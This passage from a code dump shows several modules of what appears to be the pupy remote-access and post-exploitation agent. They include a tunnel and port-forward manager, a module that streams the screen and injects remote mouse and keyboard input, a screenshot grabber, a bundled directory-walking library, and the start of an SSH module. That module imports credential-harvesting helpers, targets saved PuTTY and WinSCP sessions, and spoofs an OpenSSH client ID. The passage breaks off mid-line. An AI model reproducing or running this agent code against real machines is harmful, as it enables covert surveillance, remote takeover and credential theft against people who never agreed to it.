%s, %s, %s)',\n            neighbor_id, local_address, forward, bind\n        )\n\n        self.defer(self._bind, neighbor_id, local_address, forward, bind)\n\n    def unbind(self, path_or_port):\n        logger.debug('Manager: unbind(%s)', path_or_port)\n\n        for neighbor in self.neighbors.values():\n            if neighbor.unregister_acceptor(path_or_port):\n                return True\n\n        return False\n\n    def get_connection(self, neighbor_id, connection_id):\n        neighbor = self.get_neighbor(neighbor_id)\n        return neighbor.get_connection(connection_id)\n\n    def create_connection(self, neighbor_id, remote_id=None, peername=None):\n        logger.debug(\n            'Manager: create_connection(%s, %s, %s)',\n            neighbor_id, remote_id, peername\n        )\n\n        return self.get_neighbor(\n            neighbor_id\n        ).create_connection(\n            remote_id=remote_id,\n            peername=peername\n        )\n\n    def connect(self, neighbor_id, connection_id, address, dns, bind=None):\n        logger.debug(\n            'Manager: connect(%s, %s, %s, %s, %s)',\n            neighbor_id, connection_id, address, dns, bind\n        )\n\n        self.defer(\n            self.get_neighbor(\n                neighbor_id\n            ).get_connection(\n                connection_id\n            ).connect,\n            address,\n            dns,\n            bind\n        )\n\n    def forward(self, neighbor_id, connection_id):\n        logger.debug(\n            'Manager: forward(%s, %s)',\n            neighbor_id, connection_id\n        )\n\n        self.defer(\n            self.get_neighbor(\n                neighbor_id\n            ).get_connection(\n                connection_id\n            ).forward\n        )\n\n    def on_connected(self, neighbor_id, connection_id, local_address, error=None):\n        logger.debug(\n            'Manager: on_connected(%s, %s, %s, %s)',\n            neighbor_id, connection_id, local_address, error\n        )\n\n        self.defer(\n            self.get_neighbor(\n                neighbor_id\n            ).get_connection(\n                connection_id\n            ).on_connected,\n            local_address, error\n        )\n\n    def on_data(self, neighbor_id, connection_id, data):\n        logger.debug(\n            'Manager: on_data(%s, %s, %s)',\n            neighbor_id, connection_id, len(data)\n        )\n\n        self.defer(\n            self.get_neighbor(\n                neighbor_id\n            ).get_connection(\n                connection_id\n            ).on_data,\n            data\n        )\n\n    def on_disconnect(self, neighbor_id, connection_id, reason=None):\n        logger.debug(\n            'Manager: on_disconnect(%s, %s, %s)',\n            neighbor_id, connection_id, reason\n        )\n\n        neighbor = self.get_neighbor(\n            neighbor_id\n        )\n\n        try:\n            connection = neighbor.get_connection(\n                connection_id\n            )\n\n            self.defer(\n                connection.on_disconnect,\n                reason\n            )\n        except (ConnectionIsNotExists, ChannelIsNotReady):\n            pass\n\n    def get_callbacks(self):\n        return {\n            'create_connection': self.create_connection,\n            'connect': self.connect,\n            'on_connected': self.on_connected,\n            'on_data': self.on_data,\n            'on_disconnect': self.on_disconnect\n        }\n\n    def create_neighbor(self, callbacks):\n        neighbor = Neighbor(self, callbacks, self.virtual_ports)\n        neighbor_id = hash(neighbor)\n        self.neighbors[neighbor_id] = neighbor\n        return neighbor_id\n\n    def assign_pair_ids(self, local_id, remote_id):\n        if local_id not in self.neighbors:\n            raise NeighborIsNotExists(local_id)\n\n        self.neighbors[local_id].pair(local_id, remote_id)\n\n    def pair(self, remote_manager):\n        remote_id = remote_manager.create_neighbor(self.get_callbacks())\n        local_id = self.create_neighbor(remote_manager.get_callbacks())\n\n        remote_manager.assign_pair_ids(remote_id, local_id)\n        self.assign_pair_ids(local_id, remote_id)\n\n        return remote_id, local_id\n\n    def _unpair(self, local_id, dead):\n        if local_id not in self.neighbors:\n            raise NeighborIsNotExists(local_id)\n\n        self.neighbors[local_id].stop(dead=dead)\n\n    def unpair(self, local_id, dead=False):\n        self.defer(self._unpair, local_id, dead)\n\n    def list(self, filter_by_local_id=None):\n        results = []\n        if filter_by_local_id:\n            if filter_by_local_id not in self.neighbors:\n                return\n\n            neighbor = self.neighbors[filter_by_local_id]\n            for port, acceptor in neighbor.acceptors.items():\n                results.append([port, acceptor.forward_address or 'socks5'])\n        else:\n            for neighbor in self.neighbors.values():\n                for port, acceptor in neighbor.acceptors.items():\n                    results.append(\n                        [port, acceptor.forward_address or 'socks5'])\n\n        return results\n\n\nclass PairState(object):\n    def __init__(self):\n        self.local = None\n        self.remote = None\n        self.local_id = None\n        self.remote_id = None\n\n    def get(self):\n        return self.local, self.remote, self.local_id, self.remote_id\n\n    def cleanup(self):\n        try:\n            if self.local:\n                self.local.unpair(self.local_id, dead=True)\n        except (ResourceIsNotExists, NeighborIsNotExists):\n            pass\n        finally:\n            self.local = None\n\n\nclass ManagerState(object):\n    def __init__(self):\n        self.manager = None\n\n    def cleanup(self):\n        try:\n            if self.manager:\n                self.manager.stop()\n        except (ResourceIsNotExists, NeighborIsNotExists):\n            pass\n        finally:\n            self.manager = None\n"
  },
  {
    "path": "pupy/packages/all/rdesktop.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport mss\nimport threading\nimport time\n\nfrom png import bmp_to_png\nfrom pupy.network.lib.pupyrpc import nowait\n\ntry:\n    import keyboard\n    from keyboard import mouse\n    remote_control = True\nexcept:\n    remote_control = False\n\n\nclass VideoStreamer(threading.Thread):\n    def __init__(self, callback, refresh_interval=0.1):\n        threading.Thread.__init__(self)\n        self.stopped = threading.Event()\n        self.refresh_interval = refresh_interval\n        self.callback = callback\n        self.daemon = True\n\n    def run(self):\n        screenshoter = mss.mss()\n        monitors = screenshoter.monitors\n        if len(monitors) > 1:\n            del monitors[0]\n\n        monitor = monitors[0]\n\n        previous = None\n\n        while not self.stopped.is_set():\n            scr = screenshoter.grab(monitor)\n            if scr != previous:\n                previous = scr\n\n                self.callback(\n                    bmp_to_png(scr.rgb, scr.width, scr.height),\n                    scr.width, scr.height)\n\n            time.sleep(self.refresh_interval)\n\n    def move(self, x, y):\n        if not remote_control:\n            raise \"Remote control is not available\"\n\n        mouse.move(x, y)\n\n    def click(self, x=None, y=None):\n        if not remote_control:\n            raise \"Remote control is not available\"\n\n        if x is not None and y is not None:\n            self.move(x, y)\n\n        mouse.click()\n\n    def kbd_send(self, *args, **kwargs):\n        if not remote_control:\n            raise \"Remote control is not available\"\n\n        keyboard.send(*args, **kwargs)\n\n    def kbd_write(self, *args, **kwargs):\n        if not remote_control:\n            raise \"Remote control is not available\"\n\n        keyboard.write(*args, **kwargs)\n\n    def key_press(self, c):\n        if not remote_control:\n            raise \"Remote control is not available\"\n\n        keyboard.press(c)\n\n    def key_release(self, c):\n        if not remote_control:\n            raise \"Remote control is not available\"\n\n        keyboard.release(c)\n\n    def stop(self):\n        self.stopped.set()\n\n\ndef create_video_streamer(callback, quality):\n    streamer = VideoStreamer(nowait(callback), quality)\n    streamer.start()\n    return streamer\n"
  },
  {
    "path": "pupy/packages/all/scandir.py",
    "content": "\"\"\"scandir, a better directory iterator and faster os.walk(), now in the Python 3.5 stdlib\n\nscandir() is a generator version of os.listdir() that returns an\niterator over files in a directory, and also exposes the extra\ninformation most OSes provide while iterating files in a directory\n(such as type and stat information).\n\nThis module also includes a version of os.walk() that uses scandir()\nto speed it up significantly.\n\nSee README.md or https://github.com/benhoyt/scandir for rationale and\ndocs, or read PEP 471 (https://www.python.org/dev/peps/pep-0471/) for\nmore details on its inclusion into Python 3.5\n\nscandir is released under the new BSD 3-clause license. See\nLICENSE.txt for the full license text.\n\"\"\"\n\nfrom __future__ import division\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom errno import ENOENT\nfrom os import listdir, lstat, stat, strerror\nfrom os.path import join, islink\nfrom stat import S_IFDIR, S_IFLNK, S_IFREG\n\nimport collections\nimport sys\n\ntry:\n    import _scandir\nexcept ImportError:\n    _scandir = None\n\ntry:\n    import ctypes\nexcept ImportError:\n    ctypes = None\n\nif _scandir is None and ctypes is None:\n    import warnings\n    warnings.warn(\"scandir can't find the compiled _scandir C module \"\n                  \"or ctypes, using slow generic fallback\")\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__version__ = '1.3'\n__all__ = ['scandir', 'walk']\n\n# Windows FILE_ATTRIBUTE constants for interpreting the\n# FIND_DATA.dwFileAttributes member\nFILE_ATTRIBUTE_ARCHIVE = 32\nFILE_ATTRIBUTE_COMPRESSED = 2048\nFILE_ATTRIBUTE_DEVICE = 64\nFILE_ATTRIBUTE_DIRECTORY = 16\nFILE_ATTRIBUTE_ENCRYPTED = 16384\nFILE_ATTRIBUTE_HIDDEN = 2\nFILE_ATTRIBUTE_INTEGRITY_STREAM = 32768\nFILE_ATTRIBUTE_NORMAL = 128\nFILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 8192\nFILE_ATTRIBUTE_NO_SCRUB_DATA = 131072\nFILE_ATTRIBUTE_OFFLINE = 4096\nFILE_ATTRIBUTE_READONLY = 1\nFILE_ATTRIBUTE_REPARSE_POINT = 1024\nFILE_ATTRIBUTE_SPARSE_FILE = 512\nFILE_ATTRIBUTE_SYSTEM = 4\nFILE_ATTRIBUTE_TEMPORARY = 256\nFILE_ATTRIBUTE_VIRTUAL = 65536\n\nIS_PY3 = sys.version_info >= (3, 0)\n\nif IS_PY3:\n    unicode = str  # Because Python <= 3.2 doesn't have u'unicode' syntax\n\n\nclass GenericDirEntry(object):\n    __slots__ = ('name', '_stat', '_lstat', '_scandir_path', '_path')\n\n    def __init__(self, scandir_path, name):\n        self._scandir_path = scandir_path\n        self.name = name\n        self._stat = None\n        self._lstat = None\n        self._path = None\n\n    @property\n    def path(self):\n        if self._path is None:\n            self._path = join(self._scandir_path, self.name)\n        return self._path\n\n    def stat(self, follow_symlinks=True):\n        if follow_symlinks:\n            if self._stat is None:\n                self._stat = stat(self.path)\n            return self._stat\n        else:\n            if self._lstat is None:\n                self._lstat = lstat(self.path)\n            return self._lstat\n\n    def is_dir(self, follow_symlinks=True):\n        try:\n            st = self.stat(follow_symlinks=follow_symlinks)\n        except OSError as e:\n            if e.errno != ENOENT:\n                raise\n            return False  # Path doesn't exist or is a broken symlink\n        return st.st_mode & 0o170000 == S_IFDIR\n\n    def is_file(self, follow_symlinks=True):\n        try:\n            st = self.stat(follow_symlinks=follow_symlinks)\n        except OSError as e:\n            if e.errno != ENOENT:\n                raise\n            return False  # Path doesn't exist or is a broken symlink\n        return st.st_mode & 0o170000 == S_IFREG\n\n    def is_symlink(self):\n        try:\n            st = self.stat(follow_symlinks=False)\n        except OSError as e:\n            if e.errno != ENOENT:\n                raise\n            return False  # Path doesn't exist or is a broken symlink\n        return st.st_mode & 0o170000 == S_IFLNK\n\n    def inode(self):\n        st = self.stat(follow_symlinks=False)\n        return st.st_ino\n\n    def __str__(self):\n        return '<{0}: {1!r}>'.format(self.__class__.__name__, self.name)\n\n    __repr__ = __str__\n\n\ndef _scandir_generic(path=unicode('.')):\n    \"\"\"Like os.listdir(), but yield DirEntry objects instead of returning\n    a list of names.\n    \"\"\"\n    for name in listdir(path):\n        yield GenericDirEntry(path, name)\n\n\nif IS_PY3 and sys.platform == 'win32':\n    def scandir_generic(path=unicode('.')):\n        if isinstance(path, bytes):\n            raise TypeError(\"os.scandir() doesn't support bytes path on Windows, use Unicode instead\")\n        return _scandir_generic(path)\n    scandir_generic.__doc__ = _scandir_generic.__doc__\nelse:\n    scandir_generic = _scandir_generic\n\n\nscandir_c = None\nscandir_python = None\n\n\nif sys.platform == 'win32':\n    if ctypes is not None:\n        from ctypes import wintypes\n\n        # Various constants from windows.h\n        INVALID_HANDLE_VALUE = ctypes.c_void_p(-1).value\n        ERROR_FILE_NOT_FOUND = 2\n        ERROR_NO_MORE_FILES = 18\n        IO_REPARSE_TAG_SYMLINK = 0xA000000C\n\n        # Numer of seconds between 1601-01-01 and 1970-01-01\n        SECONDS_BETWEEN_EPOCHS = 11644473600\n\n        kernel32 = ctypes.windll.kernel32\n\n        # ctypes wrappers for (wide string versions of) FindFirstFile,\n        # FindNextFile, and FindClose\n        FindFirstFile = kernel32.FindFirstFileW\n        FindFirstFile.argtypes = [\n            wintypes.LPCWSTR,\n            ctypes.POINTER(wintypes.WIN32_FIND_DATAW),\n        ]\n        FindFirstFile.restype = wintypes.HANDLE\n\n        FindNextFile = kernel32.FindNextFileW\n        FindNextFile.argtypes = [\n            wintypes.HANDLE,\n            ctypes.POINTER(wintypes.WIN32_FIND_DATAW),\n        ]\n        FindNextFile.restype = wintypes.BOOL\n\n        FindClose = kernel32.FindClose\n        FindClose.argtypes = [wintypes.HANDLE]\n        FindClose.restype = wintypes.BOOL\n\n        Win32StatResult = collections.namedtuple('Win32StatResult', [\n            'st_mode',\n            'st_ino',\n            'st_dev',\n            'st_nlink',\n            'st_uid',\n            'st_gid',\n            'st_size',\n            'st_atime',\n            'st_mtime',\n            'st_ctime',\n            'st_atime_ns',\n            'st_mtime_ns',\n            'st_ctime_ns',\n            'st_file_attributes',\n        ])\n\n        def filetime_to_time(filetime):\n            \"\"\"Convert Win32 FILETIME to time since Unix epoch in seconds.\"\"\"\n            total = filetime.dwHighDateTime << 32 | filetime.dwLowDateTime\n            return total // 10000000 - SECONDS_BETWEEN_EPOCHS\n\n        def find_data_to_stat(data):\n            \"\"\"Convert Win32 FIND_DATA struct to stat_result.\"\"\"\n            # First convert Win32 dwFileAttributes to st_mode\n            attributes = data.dwFileAttributes\n            st_mode = 0\n            if attributes & FILE_ATTRIBUTE_DIRECTORY:\n                st_mode |= S_IFDIR | 0o111\n            else:\n                st_mode |= S_IFREG\n            if attributes & FILE_ATTRIBUTE_READONLY:\n                st_mode |= 0o444\n            else:\n                st_mode |= 0o666\n            if (attributes & FILE_ATTRIBUTE_REPARSE_POINT and \\\n                    data.dwReserved0 == IO_REPARSE_TAG_SYMLINK):\n                st_mode ^= st_mode & 0o170000\n                st_mode |= S_IFLNK\n\n            st_size = data.nFileSizeHigh << 32 | data.nFileSizeLow\n            st_atime = filetime_to_time(data.ftLastAccessTime)\n            st_mtime = filetime_to_time(data.ftLastWriteTime)\n            st_ctime = filetime_to_time(data.ftCreationTime)\n\n            # Some fields set to zero per CPython's posixmodule.c: st_ino, st_dev,\n            # st_nlink, st_uid, st_gid\n            return Win32StatResult(st_mode, 0, 0, 0, 0, 0, st_size,\n                                   st_atime, st_mtime, st_ctime,\n                                   int(st_atime * 1000000000),\n                                   int(st_mtime * 1000000000),\n                                   int(st_ctime * 1000000000),\n                                   attributes)\n\n        class Win32DirEntryPython(object):\n            __slots__ = ('name', '_stat', '_lstat', '_find_data', '_scandir_path', '_path', '_inode')\n\n            def __init__(self, scandir_path, name, find_data):\n                self._scandir_path = scandir_path\n                self.name = name\n                self._stat = None\n                self._lstat = None\n                self._find_data = find_data\n                self._path = None\n                self._inode = None\n\n            @property\n            def path(self):\n                if self._path is None:\n                    self._path = join(self._scandir_path, self.name)\n                return self._path\n\n            def stat(self, follow_symlinks=True):\n                if follow_symlinks:\n                    if self._stat is None:\n                        if self.is_symlink():\n                            # It's a symlink, call link-following stat()\n                            self._stat = stat(self.path)\n                        else:\n                            # Not a symlink, stat is same as lstat value\n                            if self._lstat is None:\n                                self._lstat = find_data_to_stat(self._find_data)\n                            self._stat = self._lstat\n                    return self._stat\n                else:\n                    if self._lstat is None:\n                        # Lazily convert to stat object, because it's slow\n                        # in Python, and often we only need is_dir() etc\n                        self._lstat = find_data_to_stat(self._find_data)\n                    return self._lstat\n\n            def is_dir(self, follow_symlinks=True):\n                is_symlink = self.is_symlink()\n                if follow_symlinks and is_symlink:\n                    try:\n                        return self.stat().st_mode & 0o170000 == S_IFDIR\n                    except OSError as e:\n                        if e.errno != ENOENT:\n                            raise\n                        return False\n                elif is_symlink:\n                    return False\n                else:\n                    return (\n                        self._find_data.dwFileAttributes & \\\n                        FILE_ATTRIBUTE_DIRECTORY != 0)\n\n            def is_file(self, follow_symlinks=True):\n                is_symlink = self.is_symlink()\n                if follow_symlinks and is_symlink:\n                    try:\n                        return self.stat().st_mode & 0o170000 == S_IFREG\n                    except OSError as e:\n                        if e.errno != ENOENT:\n                            raise\n                        return False\n                elif is_symlink:\n                    return False\n                else:\n                    return (self._find_data.dwFileAttributes & \\\n                            FILE_ATTRIBUTE_DIRECTORY == 0)\n\n            def is_symlink(self):\n                return (self._find_data.dwFileAttributes & \\\n                        FILE_ATTRIBUTE_REPARSE_POINT != 0 and \\\n                        self._find_data.dwReserved0 == IO_REPARSE_TAG_SYMLINK)\n\n            def inode(self):\n                if self._inode is None:\n                    self._inode = lstat(self.path).st_ino\n                return self._inode\n\n            def __str__(self):\n                return '<{0}: {1!r}>'.format(self.__class__.__name__, self.name)\n\n            __repr__ = __str__\n\n        def win_error(error, filename):\n            exc = WindowsError(error, ctypes.FormatError(error))\n            exc.filename = filename\n            return exc\n\n        def _scandir_python(path=unicode('.')):\n            \"\"\"Like os.listdir(), but yield DirEntry objects instead of returning\n            a list of names.\n            \"\"\"\n            # Call FindFirstFile and handle errors\n            if isinstance(path, bytes):\n                is_bytes = True\n                filename = join(path.decode('mbcs', 'strict'), '*.*')\n            else:\n                is_bytes = False\n                filename = join(path, '*.*')\n            data = wintypes.WIN32_FIND_DATAW()\n            data_p = ctypes.byref(data)\n            handle = FindFirstFile(filename, data_p)\n            if handle == INVALID_HANDLE_VALUE:\n                error = ctypes.GetLastError()\n                if error == ERROR_FILE_NOT_FOUND:\n                    # No files, don't yield anything\n                    return\n                raise win_error(error, path)\n\n            # Call FindNextFile in a loop, stopping when no more files\n            try:\n                while True:\n                    # Skip '.' and '..' (current and parent directory), but\n                    # otherwise yield (filename, stat_result) tuple\n                    name = data.cFileName\n                    if name not in ('.', '..'):\n                        if is_bytes:\n                            name = name.encode('mbcs', 'replace')\n                        yield Win32DirEntryPython(path, name, data)\n\n                    data = wintypes.WIN32_FIND_DATAW()\n                    data_p = ctypes.byref(data)\n                    success = FindNextFile(handle, data_p)\n                    if not success:\n                        error = ctypes.GetLastError()\n                        if error == ERROR_NO_MORE_FILES:\n                            break\n                        raise win_error(error, path)\n            finally:\n                if not FindClose(handle):\n                    raise win_error(ctypes.GetLastError(), path)\n\n        if IS_PY3:\n            def scandir_python(path=unicode('.')):\n                if isinstance(path, bytes):\n                    raise TypeError(\"os.scandir() doesn't support bytes path on Windows, use Unicode instead\")\n                return _scandir_python(path)\n            scandir_python.__doc__ = _scandir_python.__doc__\n        else:\n            scandir_python = _scandir_python\n\n    if _scandir is not None:\n        scandir_c = _scandir.scandir\n\n    if _scandir is not None:\n        scandir = scandir_c\n    elif ctypes is not None:\n        scandir = scandir_python\n    else:\n        scandir = scandir_generic\n\n\n# Linux, OS X, and BSD implementation\nelif sys.platform.startswith(('linux', 'darwin', 'sunos5')) or 'bsd' in sys.platform:\n    have_dirent_d_type = (sys.platform != 'sunos5')\n\n    if ctypes is not None and have_dirent_d_type:\n        import ctypes.util\n\n        DIR_p = ctypes.c_void_p\n\n        # Rather annoying how the dirent struct is slightly different on each\n        # platform. The only fields we care about are d_name and d_type.\n        class Dirent(ctypes.Structure):\n            if sys.platform.startswith('linux'):\n                _fields_ = (\n                    ('d_ino', ctypes.c_ulong),\n                    ('d_off', ctypes.c_long),\n                    ('d_reclen', ctypes.c_ushort),\n                    ('d_type', ctypes.c_byte),\n                    ('d_name', ctypes.c_char * 256),\n                )\n            else:\n                _fields_ = (\n                    ('d_ino', ctypes.c_uint32),  # must be uint32, not ulong\n                    ('d_reclen', ctypes.c_ushort),\n                    ('d_type', ctypes.c_byte),\n                    ('d_namlen', ctypes.c_byte),\n                    ('d_name', ctypes.c_char * 256),\n                )\n\n        DT_UNKNOWN = 0\n        DT_DIR = 4\n        DT_REG = 8\n        DT_LNK = 10\n\n        Dirent_p = ctypes.POINTER(Dirent)\n        Dirent_pp = ctypes.POINTER(Dirent_p)\n\n        libc = ctypes.CDLL(ctypes.util.find_library('c'), use_errno=True)\n        opendir = libc.opendir\n        opendir.argtypes = [ctypes.c_char_p]\n        opendir.restype = DIR_p\n\n        readdir_r = libc.readdir_r\n        readdir_r.argtypes = [DIR_p, Dirent_p, Dirent_pp]\n        readdir_r.restype = ctypes.c_int\n\n        closedir = libc.closedir\n        closedir.argtypes = [DIR_p]\n        closedir.restype = ctypes.c_int\n\n        file_system_encoding = sys.getfilesystemencoding()\n\n        class PosixDirEntry(object):\n            __slots__ = ('name', '_d_type', '_stat', '_lstat', '_scandir_path', '_path', '_inode')\n\n            def __init__(self, scandir_path, name, d_type, inode):\n                self._scandir_path = scandir_path\n                self.name = name\n                self._d_type = d_type\n                self._inode = inode\n                self._stat = None\n                self._lstat = None\n                self._path = None\n\n            @property\n            def path(self):\n                if self._path is None:\n                    self._path = join(self._scandir_path, self.name)\n                return self._path\n\n            def stat(self, follow_symlinks=True):\n                if follow_symlinks:\n                    if self._stat is None:\n                        if self.is_symlink():\n                            self._stat = stat(self.path)\n                        else:\n                            if self._lstat is None:\n                                self._lstat = lstat(self.path)\n                            self._stat = self._lstat\n                    return self._stat\n                else:\n                    if self._lstat is None:\n                        self._lstat = lstat(self.path)\n                    return self._lstat\n\n            def is_dir(self, follow_symlinks=True):\n                if (self._d_type == DT_UNKNOWN or \\\n                        (follow_symlinks and self.is_symlink())):\n                    try:\n                        st = self.stat(follow_symlinks=follow_symlinks)\n                    except OSError as e:\n                        if e.errno != ENOENT:\n                            raise\n                        return False\n                    return st.st_mode & 0o170000 == S_IFDIR\n                else:\n                    return self._d_type == DT_DIR\n\n            def is_file(self, follow_symlinks=True):\n                if (self._d_type == DT_UNKNOWN or \\\n                        (follow_symlinks and self.is_symlink())):\n                    try:\n                        st = self.stat(follow_symlinks=follow_symlinks)\n                    except OSError as e:\n                        if e.errno != ENOENT:\n                            raise\n                        return False\n                    return st.st_mode & 0o170000 == S_IFREG\n                else:\n                    return self._d_type == DT_REG\n\n            def is_symlink(self):\n                if self._d_type == DT_UNKNOWN:\n                    try:\n                        st = self.stat(follow_symlinks=False)\n                    except OSError as e:\n                        if e.errno != ENOENT:\n                            raise\n                        return False\n                    return st.st_mode & 0o170000 == S_IFLNK\n                else:\n                    return self._d_type == DT_LNK\n\n            def inode(self):\n                return self._inode\n\n            def __str__(self):\n                return '<{0}: {1!r}>'.format(self.__class__.__name__, self.name)\n\n            __repr__ = __str__\n\n        def posix_error(filename):\n            errno = ctypes.get_errno()\n            exc = OSError(errno, strerror(errno))\n            exc.filename = filename\n            return exc\n\n        def scandir_python(path=unicode('.')):\n            \"\"\"Like os.listdir(), but yield DirEntry objects instead of returning\n            a list of names.\n            \"\"\"\n            if isinstance(path, bytes):\n                opendir_path = path\n                is_bytes = True\n            else:\n                opendir_path = path.encode(file_system_encoding)\n                is_bytes = False\n            dir_p = opendir(opendir_path)\n            if not dir_p:\n                raise posix_error(path)\n            try:\n                result = Dirent_p()\n                while True:\n                    entry = Dirent()\n                    if readdir_r(dir_p, entry, result):\n                        raise posix_error(path)\n                    if not result:\n                        break\n                    name = entry.d_name\n                    if name not in (b'.', b'..'):\n                        if not is_bytes:\n                            name = name.decode(file_system_encoding)\n                        yield PosixDirEntry(path, name, entry.d_type, entry.d_ino)\n            finally:\n                if closedir(dir_p):\n                    raise posix_error(path)\n\n    if _scandir is not None:\n        scandir_c = _scandir.scandir\n\n    if _scandir is not None:\n        scandir = scandir_c\n    elif ctypes is not None:\n        scandir = scandir_python\n    else:\n        scandir = scandir_generic\n\n\n# Some other system -- no d_type or stat information\nelse:\n    scandir = scandir_generic\n\n\ndef _walk(top, topdown=True, onerror=None, followlinks=False):\n    \"\"\"Like Python 3.5's implementation of os.walk() -- faster than\n    the pre-Python 3.5 version as it uses scandir() internally.\n    \"\"\"\n    dirs = []\n    nondirs = []\n\n    # We may not have read permission for top, in which case we can't\n    # get a list of the files the directory contains.  os.walk\n    # always suppressed the exception then, rather than blow up for a\n    # minor reason when (say) a thousand readable directories are still\n    # left to visit.  That logic is copied here.\n    try:\n        scandir_it = scandir(top)\n    except OSError as error:\n        if onerror is not None:\n            onerror(error)\n        return\n\n    while True:\n        try:\n            try:\n                entry = next(scandir_it)\n            except StopIteration:\n                break\n        except OSError as error:\n            if onerror is not None:\n                onerror(error)\n            return\n\n        try:\n            is_dir = entry.is_dir()\n        except OSError:\n            # If is_dir() raises an OSError, consider that the entry is not\n            # a directory, same behaviour than os.path.isdir().\n            is_dir = False\n\n        if is_dir:\n            dirs.append(entry.name)\n        else:\n            nondirs.append(entry.name)\n\n        if not topdown and is_dir:\n            # Bottom-up: recurse into sub-directory, but exclude symlinks to\n            # directories if followlinks is False\n            if followlinks:\n                walk_into = True\n            else:\n                try:\n                    is_symlink = entry.is_symlink()\n                except OSError:\n                    # If is_symlink() raises an OSError, consider that the\n                    # entry is not a symbolic link, same behaviour than\n                    # os.path.islink().\n                    is_symlink = False\n                walk_into = not is_symlink\n\n            if walk_into:\n                for entry in walk(entry.path, topdown, onerror, followlinks):\n                    yield entry\n\n    # Yield before recursion if going top down\n    if topdown:\n        yield top, dirs, nondirs\n\n        # Recurse into sub-directories\n        for name in dirs:\n            new_path = join(top, name)\n            # Issue #23605: os.path.islink() is used instead of caching\n            # entry.is_symlink() result during the loop on os.scandir() because\n            # the caller can replace the directory entry during the \"yield\"\n            # above.\n            if followlinks or not islink(new_path):\n                for entry in walk(new_path, topdown, onerror, followlinks):\n                    yield entry\n    else:\n        # Yield after recursion if going bottom up\n        yield top, dirs, nondirs\n\n\nif IS_PY3 or sys.platform != 'win32':\n    walk = _walk\nelse:\n    # Fix for broken unicode handling on Windows on Python 2.x, see:\n    # https://github.com/benhoyt/scandir/issues/54\n    file_system_encoding = sys.getfilesystemencoding()\n\n    def walk(top, topdown=True, onerror=None, followlinks=False):\n        if isinstance(top, bytes):\n            top = top.decode(file_system_encoding)\n        return _walk(top, topdown, onerror, followlinks)\n"
  },
  {
    "path": "pupy/packages/all/screenshot.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport mss\nfrom png import bmp_to_png\n\ndef screens():\n    screenshoter = mss.mss()\n    monitors = screenshoter.monitors\n    return monitors[1:] if len(monitors) > 1 else monitors\n\ndef screenshot(screen=None):\n    screenshoter = mss.mss()\n    screenshots = []\n\n    monitors = screens()\n    if len(monitors) == 0:\n        return None\n\n    if screen is not None:\n        if screen >= len(monitors):\n            return None, 'the screen id does not exist'\n        else:\n            monitors = [monitors[screen]]\n\n    for monitor in monitors:\n        scr = screenshoter.grab(monitor)\n        screenshots.append(\n            bmp_to_png(scr.rgb, scr.width, scr.height)\n        )\n\n    return screenshots, None\n"
  },
  {
    "path": "pupy/packages/all/ssh.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'SSHNotConnected', 'SSH',\n    'ssh_interactive',\n    'ssh_exec', 'ssh_hosts',\n    'ssh_upload_file',\n    'ssh_download_file', 'ssh_download_tar'\n)\n\nfrom threading import Thread, Event\nfrom io import open, BytesIO\n\nfrom psutil import process_iter\n\nfrom os import path, walk, environ\nfrom getpass import getuser\n\nfrom paramiko import SSHClient, Transport\nfrom paramiko.client import AutoAddPolicy\nfrom paramiko.config import SSHConfig\nfrom paramiko.ssh_exception import (\n    SSHException, NoValidConnectionsError\n)\n\nfrom paramiko.dsskey import DSSKey\nfrom paramiko.rsakey import RSAKey\nfrom paramiko.ecdsakey import ECDSAKey\n\nfrom urllib import unquote\n\nfrom sys import getfilesystemencoding, version_info\n\nfrom traceback import format_exc\n\ntry:\n    from puttykeys import ppkraw_to_openssh\nexcept ImportError:\n    def ppkraw_to_openssh(x):\n        return None\n\ntry:\n    import gssapi\n    GSSAPI_MIC_SUPPORT = getattr(\n        gssapi, 'GSSAPI_MIC_SUPPORT', True)\n\nexcept ImportError:\n    GSSAPI_MIC_SUPPORT = False\n\ntry:\n    from paramiko.ed25519key import Ed25519Key\nexcept ImportError:\n    Ed25519Key = None\n\nfrom netaddr import (IPNetwork, AddrFormatError)\n\nif version_info.major > 2:\n    from urllib.parse import urlparse\nelse:\n    from urlparse import urlparse\n\nfrom socket import error as socket_error, gaierror\nfrom hashlib import md5\nfrom base64 import b64encode\n\nfrom pupy.network.lib.scan import scanthread_parse\nfrom pupy.network.lib.netcreds import add_cred, find_creds\nfrom pupy.network.lib.pupyrpc import nowait\nfrom pupy.network.lib.convcompat import (\n    as_unicode_string, as_native_string\n)\n\nTransport._CLIENT_ID = 'OpenSSH'\n\ntry:\n    from pupy.agent import obtain\n\nexcept ImportError:\n    def obtain(x):\n        return x\n\n\nclass SSHNotConnected(Exception):\n    pass\n\n\nKEY_CLASSES = [RSAKey, ECDSAKey, DSSKey]\nif Ed25519Key:\n    KEY_CLASSES.append(Ed25519Key)\n\n\ntry:\n    from _winreg import (\n        OpenKey, CloseKey, EnumKey, EnumValue, HKEY_USERS\n    )\n    from ctypes import (\n        WinDLL, POINTER, byref, GetLastError,\n        create_unicode_buffer, c_void_p\n    )\n    from ctypes.wintypes import (\n        LPSTR, LPWSTR, DWORD, BOOL\n    )\n\n    LPDWORD = POINTER(DWORD)\n    PVOID = c_void_p\n\n    REG_PATHS = [\n       r'\\Software\\SimonTatham\\PuTTY\\Sessions',\n       r'\\Software\\Martin Prikryl\\WinSCP 2\\Sessions'\n    ]\n\n    PROPERTIES_MAPPING = {\n       'hostname': 'hostname',\n       'portnumber': 'port',\n       'username': 'user',\n       'publickeyfile': 'identityfile'\n    }\n\n    advapi32 = WinDLL('advapi32', use_last_error=True)\n    kernel32 = WinDLL('kernel32', use_last_error=False)\n\n    _LookupAccountSidW = advapi32.LookupAccountSidW\n    _LookupAccountSidW.argtypes = (\n        LPSTR, PVOID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD\n    )\n    _LookupAccountSidW.restype = BOOL\n\n    _ConvertStringSidToSid = 